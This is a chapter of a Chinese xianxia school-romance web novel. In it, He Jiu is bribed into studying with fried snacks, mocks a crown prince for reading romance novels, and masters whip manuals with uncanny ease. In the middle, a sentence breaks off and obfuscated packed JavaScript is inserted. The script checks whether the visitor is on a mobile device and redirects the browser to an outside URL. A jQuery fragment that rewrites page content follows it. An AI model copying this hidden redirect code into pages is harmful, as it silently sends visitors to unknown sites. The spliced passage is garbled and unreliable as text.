掌魇天王的考核都已过去了好几日,可靖灵学宫风平浪静,不仅没有新的仙师到来,就连司命星君也没来看过他们。
不少学生都恍惚了,更有心急者担忧害怕,生出一种是否被抛弃的错觉。
贺究反而很享受这种风平浪静无所事事的日子。
他胸无大志,非要说志向那就是立志当个咸鱼。
神仙的生命漫长,他爱极了这样虚度光阴。
奈何......
有人对他的咸鱼行为颇为不满。
“啊啊啊小猫小猫!我求你别念叨我了!老师都没来我学个啥啊学!你再念叨我的耳朵就要起茧子啦!”
有时候贺究被於见猫劝学劝得狠了,真的很想撬开他的脑子,进去瞧一瞧,里面是不是装了什么劝学系统。
“小猫!你就不该叫於见猫!”贺究气鼓鼓道。
於见猫愕然:“那我应该叫什么?”
贺究:“你应该叫於幼时!”
於见猫:“............?”
於见猫不解其意。
贺究解释给他听:“我以前背过一篇文章,文章开头第一句是‘余幼时即嗜学’,说的就是你!於幼时!嗜学狂魔!”
刚说完贺究就被自己冷到了。
这真是个好冷好恶俗的谐音梗啊......
於见猫自然是没有听懂。
并且他在脑子里搜索了半天,也没搜索出这句话是出自于哪篇文章?
不过小仙君竟然曾在暗地里背过文章,这倒是让於见猫异常感动。
於见猫:“小仙君您还背过书吗?请务必再接再厉!”
“............”贺究伏倒。
头刚一沾上桌子。
隔壁某打坐中的剑气嗖嗖的人,便扔来一包黄金脆黄的小酥肉。
上面还撒了民间珍贵稀有的西域调料。
贺究闻着味儿猛地支棱起来了身子。
“卧槽!班草!你也太牛了吧!我就那么随口一说,你竟然真能给我把炸货搞来了?!”
贺究惊呆了。
不知道朝闻道是去的哪里给他买到的炸货?
还是带孜然和辣椒的那种极品!
朝闻道人被鸿蒙剑气包裹着,周身飘散白雪般的光晕,双目闭阖,冷若冰霜。像从来没有动作过,像刚才扔吃食给贺究的人根本不是他一样。
贺究撇撇嘴,眼睛里却带着笑。
嗐。
见怪不怪啦。
把包裹着酥肉的方纸剥开,贺究喜滋滋地跟於见猫分享:“小猫小猫,尝尝这个,人间极品,绝绝子!”
於见猫:“............”
於见猫拗不过小仙君递到他唇边的手指,红着脸咬住一块酥肉。
肉未入喉,只刚沾进嘴里,他便被辛辣之味呛了一嘴,嗬嗬咳嗽起来。
“痛......这、这吃食有点痛嘴......”
“不不不。”贺究竖起一根手指来回摇晃,老神在在地给他科普:“这不叫痛,叫辣。嘿嘿,小猫你是没有吃惯,再多尝两口你就习惯了,然后就知道放了孜然和辣椒的炸货有多美味了。”
说着,贺究扔了一块脆肉吃进嘴里。
小仙君大抵是嚼了两口就咽下去了。
於见猫见他喉结微滚,很快就满足地弯起眼睛,弦月似的眼眸星光熠熠。
於见猫:“............”
真有这么好吃吗?
其实於见猫的内心很是复杂。
他不是傻子。
他能看出来这是朝闻道刻意为之的小把戏。
朝闻道的目的和他一样。
都是小仙君所谓的最讨厌的“劝学”。
可是他做起来总是令小仙君厌烦头疼,而朝闻道......
小仙君从来不会对朝闻道感到厌烦。
朝闻道每次只需用一个美食,就能勾得小仙君对他言听计从......
於见猫舔舐了一下口腔里残留的“辣”的味道。
他还是不懂什么是辣。
他只觉得痛。
但其实贺究也不是傻子。
朝闻道如此明显、每每只在他摸鱼时投喂的行为,摆明了是阻止他摆烂。
贺究当然有思考过朝闻道为什么要这么做?
不仅思考过,他还主动问过呢。
可是从朝闻道那张冷冰冰又寡言的嘴里,能问出来他不想回答的东西就有鬼了。
虽然搞不懂朝闻道图个啥,但美食当前,朝闻道又横竖不会害他,一来二去,贺究干脆就默认签订了这条《不摸鱼条约》,和朝闻道默契地达成了共识。
一口一个吃完小酥肉,贺究意犹未尽地舔了舔嘴唇。
他满足地对朝闻道说:“班草,这炸货绝绝子啊,我下次还想吃类似这种的......最好能搞到烧烤就更好了,那什么羊肉串啊牛肉串啊,也很人间极品啊......”
朝闻道冷酷入定中,冰雕一样毫无反应。
可贺究知道,他已经把自己的话听进去了。
快乐地勾着唇角,贺究开始在项圈空间里翻翻找找,寻找有没有什么不那么费脑子的东西可以拿出来,意思意思地看一看学一学。
找了一圈。
又找了一圈。
贺究:“............”
根本没有这种东西好么!
......哎!
学习哪有不苦不累的呢。
这么一想,贺究就又有点心酸了。
为什么都当了神二代了还要辛苦学习啊!
带着心酸,他又悄然用余光瞥了瞥某太子。
某太子正襟危坐,手捧书卷,读得那叫一个聚精会神孜孜不倦,偶尔,可能是读到了什么要点,还会一脸严肃地用朱笔在上面涂涂画画做一番标记。
要不是贺究有偷偷看到过书名,他真的会以为全天庭的神二代都得命苦学习。
说出来谁信?
那狗太子一本正经读啊做笔记啊的书,书名叫做《暴躁神君哪里逃》!
喵了个咪的。
堂堂天庭太子。
将来要接手帝君之位肩负三界苍生的太子。
天天拿在手里看的不是法术书而是言情小说???
贺究真想吐血。
这个世界谁懂啊?
别太魔幻了好么!
忿忿中,贺究偷看的目光突然被金玉攥住了。
视线相撞。
贺究一顿,默默收回目光。
金玉手中朱笔的红墨嘟地一下滴答到了话本上,晕开了纸上的几行黑字。
“本太子太好看了,晃到你眼睛了?”金玉开口道。他的声线略有一丝陡,但很微小,难以叫人注意到。
“???”贺究猝不及防,瞪大眼睛,像凭空被金玉塞了一口苍蝇。
什么鬼??
金玉:“你这是在偷看本太子吗?你这分明是在窃取本太子的绝世容颜!”
贺究:“............”
疯了疯了。
太子彻底疯了。
要不是疯了,怎么会一张嘴就是鸟语花还不香?
看着贺究难评的表情,金玉有点迟疑了。
这这这好像......有点不太对吧?
他明明是按照话本里写的那样说的,怎么赫兰九给出的反应却和话本里主人公的不一样呢?
耳尖有点泛红,金玉捏着话本的手指不自觉用力,强忍着奇怪的感觉,又开口道:“嗯哼,赫兰九,本太子现在可以给你一个光明正大看的机会,你可想要?”
“我想要你个大脑袋!”
贺究揭案而起,被恶心得感觉暴殄了刚刚才吃下去的孜然麻辣小酥肉!
“你能不能正常点!少看点这些荼毒你脑子的土味情话吧!”
金玉:“..................”
啪嗒。
金玉捏在手里的话本,掉了。
********
日子平平无奇地又飘走了几日。
自掌魇天王之后,还是没有仙师到来。
靖灵学宫里的学生们百无聊赖地自己自习,几乎快要习惯了被散养的生活。
而贺究,因为和朝闻道秘而不宣的《不摸鱼条约》,日日被美食投喂的美美的,倒是真没怎么过度摸鱼。
闲着也是闲着,这几日里,他干脆把尊父给的鞭谱拿出来看了。
刚开始看时,贺究整个身体都写满抗拒。
他本人无心武学法术,对不感兴趣的东西看一眼都觉得是折磨。
他其实很想吐槽,尊父到底为啥非要把不成器的自己培养成高手?
明明家里九个孩子,哥哥姐姐们各个能够独当一面独挑大梁,哪一个拎出去都是别人家的孩子,让他这个老幺当个小咸鱼怎么了?
但心里想想也就算了,这话可是万万不敢对尊父说。
哎,想到尊父迟早会查他作业,贺究也就硬着头皮有一眼没一眼地划水翻看鞭谱了。
不想,这鞭谱虽然开头枯燥了些,却是越看越顺溜,没看几页,贺究便好像掌握了窍门,看着前一页的便能猜出后一页的,真往后一页一翻,还真跟他脑子里猜的一模一样。
贺究:“............”
贺究霎时间对自己肃然起敬。
他怎么不知道自己有这么高的学习天份?竟然无师自通了押题技能?
不过才随手翻了几翻,贺究已经狂妄地觉得自己好像已经把鞭谱记得了然于胸了?
甚至,他还有一点手痒,起了一种想把鞭子拿出来练一练的冲动?
这个冲动刚一出,贺究便觉得头皮发麻,起了一身的鸡皮疙瘩。
天呐!
他该不会被朝闻道传染上了修炼病毒吧?
不然怎么会突然觉醒了这么变态的念头?
事实证明......
这个病毒有点东西。
因为贺究纠结再三,还是按下小猫,一个人跑出去找了块地儿甩鞭子去了。
僻静无人的石林里,身穿白衣校服的少年人手持黑色七节长鞭。那长鞭在他手中挥动,宛如一个活物,如长蛇如游龙,气势赫赫,打碎此间一座座堆放的白山,漫天石灰扑簌而下,伴随着猎猎鞭风,天地间如同正在下着一场暴雪。
贺究几乎是一口气练完了这套鞭法。
明明是第一次学,还是自学,他却掌握的极其熟练,鞭子握在手中便能自然出势,游刃有余,丝滑得就好像......
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263116|172898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就好像这套鞭法他其实已经练过了百遍千遍,早已形成了肌肉记忆刻进了身体。
收势后,贺究没有直接把鞭子变回项圈戴回颈项,而是弯了几弯将其随意系在了腰上。
蛇骨血肉魂魄淬炼成的七杀鞭,通体乌黑,粗硕柔韧,两圈勒在窄腰上,将贺究细窄的腰线完美地勾勒出,剩下的则乖顺地贴合着校服下摆垂在下面,远远看就像一截流苏。
贺究抬起手擦了擦额上的虚汗,不明所以地喃喃:“好怪啊,但是又好爽......”
确实是很爽。
对于贺究这种常年摸鱼、能不修炼就不修炼的懒人来说,这一套鞭谱练下来,四肢百骸都像被打通了,暖流在身体里奔腾,仿佛筋脉都被扩宽了两寸。
贺究于是干脆席地而坐,顺应感觉,又拿了一本鞭谱出来翻看。
这一看。
更怪异了。
“真是草了......怎么感觉这本也这么熟悉呢?我也没提前看过啊......”
贺究索性将六本鞭谱全拿了出来。
六本鞭谱被摆在地上,排成一排。
贺究一一翻看。
看完后贺究就傻眼了。
很诡异。
每本都和第一本一样。
只要看过了枯燥的前两页,便像做了弊开了挂,后面的鞭术内容全都无师自通,了然于心,记忆深刻。
贺究:“............”
压下诡异的感觉,贺究默默收起鞭谱,伸手在腰间一抽,抽出长鞭再一次挥舞。
六套鞭术一气呵成。
待贺究酣畅淋漓地从武学中回过神来,眼前的石林早已变成了光秃秃的平地,原本的石头全都被鞭子抽成了齑粉,于漫天飞舞中旋转降落,在地上铺成了白雪样的厚厚一层。
“............”练完六套鞭法有点久,贺究脸上泛起淡淡的潮红,一边喘着气,一边暗暗心惊。
这种超越现实的诡异,让他产生了一种非常荒诞的感觉——该不会他还没有从乌云巨门里出去吧?
使劲晃了晃头,把这个恐怖故事似的念头甩出去,贺究将鞭子收回成空间项圈,戴回了颈上。
一抬眸,已经夷为平地的石林外,一道冷峻的身影正站在远处。
贺究一愣:“朝闻道?”
见贺究不再继续练习,并且注意到了自己,朝闻道徐徐朝他走去。
贺究双眸中浮起疑惑:“朝闻道,你什么时候来的?”
贺究竟不知道他在那儿站了多久?
“不久前。”朝闻道回答说。
贺究又问:“不久前是多久?”
朝闻道:“约莫一个时辰。”
“............”贺究嘴角狠狠一抽。
不是哥们?
你管这叫不久??
朝闻道解释:“在下来时,你正心无旁骛沉心武学,故而没有发现。”
贺究扶了扶额,最后喘了口气,平复完练鞭后的余韵,问:“你来这干什么?”
朝闻道坦诚道:“被你的鞭法吸引而来。”
贺究:“............”
这......
这?
这话,让贺究有点不知道该怎么接。
什么叫被鞭法吸引而来的?
说的好像他练鞭是什么招蜂引蝶的手段似的。
朝闻道:“赫兰九,你果然天赋奇佳,以后莫要再偷懒耍滑,浪费天赋。”
喵的,明明是个年轻人,说话却像武侠仙侠小说里的世外老头似的,开口闭口少年你根骨奇佳天赋异禀,下一句是不是要收徒啊?
贺究被自己的脑补好笑到了,揶揄他道:“咋滴,你想收我为徒啊?”
可惜朝闻道没什么幽默细胞,听他这样说,平静地道:“在下尚不够资历收徒。”
贺究:“???”
啥意思!
敢情要是资历够了,这剑人还真有意收自己为徒?
贺究囧囧囧。
“是否还练?”贺究久久不语,朝闻道开口问他。
贺究摇头:“不练了,累了,回去了。”
说起来,这还是贺究第一次主动私下用功。
虽然他用功的起因是鞭谱带给他的诡异的熟悉既视感......
总之,贺究后知后觉地感到一阵疲倦,四肢筋脉里的暖流渐渐褪却,酸软乏力袭上身体,要不是还得回去,贺究都想当场躺下来睡一觉。
这时,走在贺究前头两步的朝闻道忽然停下脚步,回首望着他问道:“是否要在下背你回去?”
贺究:“???”
“什、什么?”贺究怀疑自己是不是听错了?他错愕地眨了眨眼,瞌睡瞬间被惊讶驱散。
朝闻道用冷淡的声线把话重复了一遍:“是否要在下背你回去?”
贺究:“......不、不必了。”
会被冻死的吧!
但是看着朝闻道身后露出来的那一小段雪白的剑,贺究情不自禁道:“要不你御剑飞行带我?”
朝闻道闻言正色道:“靖灵学宫内,学生不可随意飞行。”
贺究:“............”
好好好。
还是那个风纪委员没毛病!